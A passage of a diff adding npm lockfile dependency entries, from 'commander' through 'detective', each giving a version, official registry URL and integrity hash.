+    "commander": {
+      "version": "8.3.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
+      "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww=="
+    },
+    "common-path-prefix": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz",
+      "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w=="
+    },
+    "common-tags": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
+      "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA=="
+    },
+    "commondir": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+      "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg=="
+    },
+    "compressible": {
+      "version": "2.0.18",
+      "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
+      "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
+      "requires": {
+        "mime-db": ">= 1.43.0 < 2"
+      }
+    },
+    "compression": {
+      "version": "1.7.4",
+      "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz",
+      "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==",
+      "requires": {
+        "accepts": "~1.3.5",
+        "bytes": "3.0.0",
+        "compressible": "~2.0.16",
+        "debug": "2.6.9",
+        "on-headers": "~1.0.2",
+        "safe-buffer": "5.1.2",
+        "vary": "~1.1.2"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        }
+      }
+    },
+    "concat-map": {
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+      "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="
+    },
+    "confusing-browser-globals": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
+      "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA=="
+    },
+    "connect-history-api-fallback": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz",
+      "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA=="
+    },
+    "content-disposition": {
+      "version": "0.5.4",
+      "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
+      "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
+      "requires": {
+        "safe-buffer": "5.2.1"
+      },
+      "dependencies": {
+        "safe-buffer": {
+          "version": "5.2.1",
+          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+          "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+        }
+      }
+    },
+    "content-type": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+      "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA=="
+    },
+    "convert-source-map": {
+      "version": "1.8.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz",
+      "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==",
+      "requires": {
+        "safe-buffer": "~5.1.1"
+      }
+    },
+    "cookie": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
+      "integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w=="
+    },
+    "cookie-signature": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
+      "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
+    },
+    "core-js": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.25.3.tgz",
+      "integrity": "sha512-y1hvKXmPHvm5B7w4ln1S4uc9eV/O5+iFExSRUimnvIph11uaizFR8LFMdONN8hG3P2pipUfX4Y/fR8rAEtcHcQ=="
+    },
+    "core-js-compat": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.25.3.tgz",
+      "integrity": "sha512-xVtYpJQ5grszDHEUU9O7XbjjcZ0ccX3LgQsyqSvTnjX97ZqEgn9F5srmrwwwMtbKzDllyFPL+O+2OFMl1lU4TQ==",
+      "requires": {
+        "browserslist": "^4.21.4"
+      }
+    },
+    "core-js-pure": {
+      "version": "3.25.3",
+      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.25.3.tgz",
+      "integrity": "sha512-T/7qvgv70MEvRkZ8p6BasLZmOVYKzOaWNBEHAU8FmveCJkl4nko2quqPQOmy6AJIp5MBanhz9no3A94NoRb0XA=="
+    },
+    "core-util-is": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+      "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="
+    },
+    "cosmiconfig": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz",
+      "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==",
+      "requires": {
+        "@types/parse-json": "^4.0.0",
+        "import-fresh": "^3.2.1",
+        "parse-json": "^5.0.0",
+        "path-type": "^4.0.0",
+        "yaml": "^1.10.0"
+      }
+    },
+    "cross-spawn": {
+      "version": "7.0.6",
+      "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+      "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+      "requires": {
+        "path-key": "^3.1.0",
+        "shebang-command": "^2.0.0",
+        "which": "^2.0.1"
+      }
+    },
+    "crypto-random-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
+      "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA=="
+    },
+    "css": {
+      "version": "2.2.4",
+      "resolved": "https://registry.npmjs.org/css/-/css-2.2.4.tgz",
+      "integrity": "sha512-oUnjmWpy0niI3x/mPL8dVEI1l7MnG3+HHyRPHf+YFSbK+svOhXpmSOcDURUh2aOCgl2grzrOPt1nHLuCVFULLw==",
+      "requires": {
+        "inherits": "^2.0.3",
+        "source-map": "^0.6.1",
+        "source-map-resolve": "^0.5.2",
+        "urix": "^0.1.0"
+      }
+    },
+    "css-blank-pseudo": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/css-blank-pseudo/-/css-blank-pseudo-3.0.3.tgz",
+      "integrity": "sha512-VS90XWtsHGqoM0t4KpH053c4ehxZ2E6HtGI7x68YFV0pTo/QmkV/YFA+NnlvK8guxZVNWGQhVNJGC39Q8XF4OQ==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.9"
+      }
+    },
+    "css-declaration-sorter": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.1.tgz",
+      "integrity": "sha512-fBffmak0bPAnyqc/HO8C3n2sHrp9wcqQz6ES9koRF2/mLOVAx9zIQ3Y7R29sYCteTPqMCwns4WYQoCX91Xl3+w==",
+      "requires": {}
+    },
+    "css-has-pseudo": {
+      "version": "3.0.4",
+      "resolved": "https://registry.npmjs.org/css-has-pseudo/-/css-has-pseudo-3.0.4.tgz",
+      "integrity": "sha512-Vse0xpR1K9MNlp2j5w1pgWIJtm1a8qS0JwS9goFYcImjlHEmywP9VUF05aGBXzGpDJF86QXk4L0ypBmwPhGArw==",
+      "requires": {
+        "postcss-selector-parser": "^6.0.9"
+      }
+    },
+    "css-loader": {
+      "version": "6.7.1",
+      "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-6.7.1.tgz",
+      "integrity": "sha512-yB5CNFa14MbPJcomwNh3wLThtkZgcNyI2bNMRt8iE5Z8Vwl7f8vQXFAzn2HDOJvtDq2NTZBUGMSUNNyrv3/+cw==",
+      "requires": {
+        "icss-utils": "^5.1.0",
+        "postcss": "^8.4.7",
+        "postcss-modules-extract-imports": "^3.0.0",
+        "postcss-modules-local-by-default": "^4.0.0",
+        "postcss-modules-scope": "^3.0.0",
+        "postcss-modules-values": "^4.0.0",
+        "postcss-value-parser": "^4.2.0",
+        "semver": "^7.3.5"
+      }
+    },
+    "css-minimizer-webpack-plugin": {
+      "version": "3.4.1",
+      "resolved": "https://registry.npmjs.org/css-minimizer-webpack-plugin/-/css-minimizer-webpack-plugin-3.4.1.tgz",
+      "integrity": "sha512-1u6D71zeIfgngN2XNRJefc/hY7Ybsxd74Jm4qngIXyUEk7fss3VUzuHxLAq/R8NAba4QU9OUSaMZlbpRc7bM4Q==",
+      "requires": {
+        "cssnano": "^5.0.6",
+        "jest-worker": "^27.0.2",
+        "postcss": "^8.3.5",
+        "schema-utils": "^4.0.0",
+        "serialize-javascript": "^6.0.0",
+        "source-map": "^0.6.1"
+      },
+      "dependencies": {
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "ajv-keywords": {
+          "version": "5.1.0",
+          "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+          "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+          "requires": {
+            "fast-deep-equal": "^3.1.3"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        },
+        "schema-utils": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+          "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+          "requires": {
+            "@types/json-schema": "^7.0.9",
+            "ajv": "^8.8.0",
+            "ajv-formats": "^2.1.1",
+            "ajv-keywords": "^5.0.0"
+          }
+        }
+      }
+    },
+    "css-prefers-color-scheme": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/css-prefers-color-scheme/-/css-prefers-color-scheme-6.0.3.tgz",
+      "integrity": "sha512-4BqMbZksRkJQx2zAjrokiGMd07RqOa2IxIrrN10lyBe9xhn9DEvjUK79J6jkeiv9D9hQFXKb6g1jwU62jziJZA==",
+      "requires": {}
+    },
+    "css-select": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz",
+      "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==",
+      "requires": {
+        "boolbase": "^1.0.0",
+        "css-what": "^6.0.1",
+        "domhandler": "^4.3.1",
+        "domutils": "^2.8.0",
+        "nth-check": "^2.0.1"
+      }
+    },
+    "css-select-base-adapter": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz",
+      "integrity": "sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w=="
+    },
+    "css-tree": {
+      "version": "1.0.0-alpha.37",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.37.tgz",
+      "integrity": "sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==",
+      "requires": {
+        "mdn-data": "2.0.4",
+        "source-map": "^0.6.1"
+      }
+    },
+    "css-what": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+      "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw=="
+    },
+    "css.escape": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
+      "integrity": "sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s="
+    },
+    "cssdb": {
+      "version": "7.0.1",
+      "resolved": "https://registry.npmjs.org/cssdb/-/cssdb-7.0.1.tgz",
+      "integrity": "sha512-pT3nzyGM78poCKLAEy2zWIVX2hikq6dIrjuZzLV98MumBg+xMTNYfHx7paUlfiRTgg91O/vR889CIf+qiv79Rw=="
+    },
+    "cssesc": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="
+    },
+    "cssnano": {
+      "version": "5.1.13",
+      "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.13.tgz",
+      "integrity": "sha512-S2SL2ekdEz6w6a2epXn4CmMKU4K3KpcyXLKfAYc9UQQqJRkD/2eLUG0vJ3Db/9OvO5GuAdgXw3pFbR6abqghDQ==",
+      "requires": {
+        "cssnano-preset-default": "^5.2.12",
+        "lilconfig": "^2.0.3",
+        "yaml": "^1.10.2"
+      }
+    },
+    "cssnano-preset-default": {
+      "version": "5.2.12",
+      "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz",
+      "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==",
+      "requires": {
+        "css-declaration-sorter": "^6.3.0",
+        "cssnano-utils": "^3.1.0",
+        "postcss-calc": "^8.2.3",
+        "postcss-colormin": "^5.3.0",
+        "postcss-convert-values": "^5.1.2",
+        "postcss-discard-comments": "^5.1.2",
+        "postcss-discard-duplicates": "^5.1.0",
+        "postcss-discard-empty": "^5.1.1",
+        "postcss-discard-overridden": "^5.1.0",
+        "postcss-merge-longhand": "^5.1.6",
+        "postcss-merge-rules": "^5.1.2",
+        "postcss-minify-font-values": "^5.1.0",
+        "postcss-minify-gradients": "^5.1.1",
+        "postcss-minify-params": "^5.1.3",
+        "postcss-minify-selectors": "^5.2.1",
+        "postcss-normalize-charset": "^5.1.0",
+        "postcss-normalize-display-values": "^5.1.0",
+        "postcss-normalize-positions": "^5.1.1",
+        "postcss-normalize-repeat-style": "^5.1.1",
+        "postcss-normalize-string": "^5.1.0",
+        "postcss-normalize-timing-functions": "^5.1.0",
+        "postcss-normalize-unicode": "^5.1.0",
+        "postcss-normalize-url": "^5.1.0",
+        "postcss-normalize-whitespace": "^5.1.1",
+        "postcss-ordered-values": "^5.1.3",
+        "postcss-reduce-initial": "^5.1.0",
+        "postcss-reduce-transforms": "^5.1.0",
+        "postcss-svgo": "^5.1.0",
+        "postcss-unique-selectors": "^5.1.1"
+      }
+    },
+    "cssnano-utils": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz",
+      "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==",
+      "requires": {}
+    },
+    "csso": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz",
+      "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==",
+      "requires": {
+        "css-tree": "^1.1.2"
+      },
+      "dependencies": {
+        "css-tree": {
+          "version": "1.1.3",
+          "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz",
+          "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==",
+          "requires": {
+            "mdn-data": "2.0.14",
+            "source-map": "^0.6.1"
+          }
+        },
+        "mdn-data": {
+          "version": "2.0.14",
+          "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz",
+          "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow=="
+        }
+      }
+    },
+    "cssom": {
+      "version": "0.4.4",
+      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.4.4.tgz",
+      "integrity": "sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw=="
+    },
+    "cssstyle": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
+      "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+      "requires": {
+        "cssom": "~0.3.6"
+      },
+      "dependencies": {
+        "cssom": {
+          "version": "0.3.8",
+          "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
+          "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
+        }
+      }
+    },
+    "csstype": {
+      "version": "2.6.10",
+      "resolved": "https://registry.npmjs.org/csstype/-/csstype-2.6.10.tgz",
+      "integrity": "sha512-D34BqZU4cIlMCY93rZHbrq9pjTAQJ3U8S8rfBqjwHxkGPThWFjzZDQpgMJY0QViLxth6ZKYiwFBo14RdN44U/w=="
+    },
+    "damerau-levenshtein": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz",
+      "integrity": "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="
+    },
+    "data-urls": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
+      "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
+      "requires": {
+        "abab": "^2.0.3",
+        "whatwg-mimetype": "^2.3.0",
+        "whatwg-url": "^8.0.0"
+      }
+    },
+    "debug": {
+      "version": "4.3.4",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+      "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+      "requires": {
+        "ms": "2.1.2"
+      }
+    },
+    "decimal.js": {
+      "version": "10.4.1",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.1.tgz",
+      "integrity": "sha512-F29o+vci4DodHYT9UrR5IEbfBw9pE5eSapIJdTqXK5+6hq+t8VRxwQyKlW2i+KDKFkkJQRvFyI/QXD83h8LyQw=="
+    },
+    "decode-uri-component": {
+      "version": "0.2.2",
+      "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
+      "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ=="
+    },
+    "dedent": {
+      "version": "0.7.0",
+      "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz",
+      "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA=="
+    },
+    "deep-is": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
+      "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="
+    },
+    "deepmerge": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
+      "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg=="
+    },
+    "default-gateway": {
+      "version": "6.0.3",
+      "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz",
+      "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==",
+      "requires": {
+        "execa": "^5.0.0"
+      }
+    },
+    "define-data-property": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
+      "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
+      "requires": {
+        "es-define-property": "^1.0.0",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.0.1"
+      }
+    },
+    "define-lazy-prop": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
+      "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og=="
+    },
+    "define-properties": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.4.tgz",
+      "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==",
+      "requires": {
+        "has-property-descriptors": "^1.0.0",
+        "object-keys": "^1.1.1"
+      }
+    },
+    "defined": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz",
+      "integrity": "sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ=="
+    },
+    "delayed-stream": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="
+    },
+    "depd": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+      "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw=="
+    },
+    "destroy": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
+      "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg=="
+    },
+    "detect-newline": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
+      "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA=="
+    },
+    "detect-node": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
+      "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g=="
+    },
+    "detect-port-alt": {
+      "version": "1.1.6",
+      "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
+      "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
+      "requires": {
+        "address": "^1.0.1",
+        "debug": "^2.6.0"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "2.6.9",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+          "requires": {
+            "ms": "2.0.0"
+          }
+        },
+        "ms": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+          "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+        }
+      }
+    },
+    "detective": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz",
+      "integrity": "sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==",
+      "requires": {
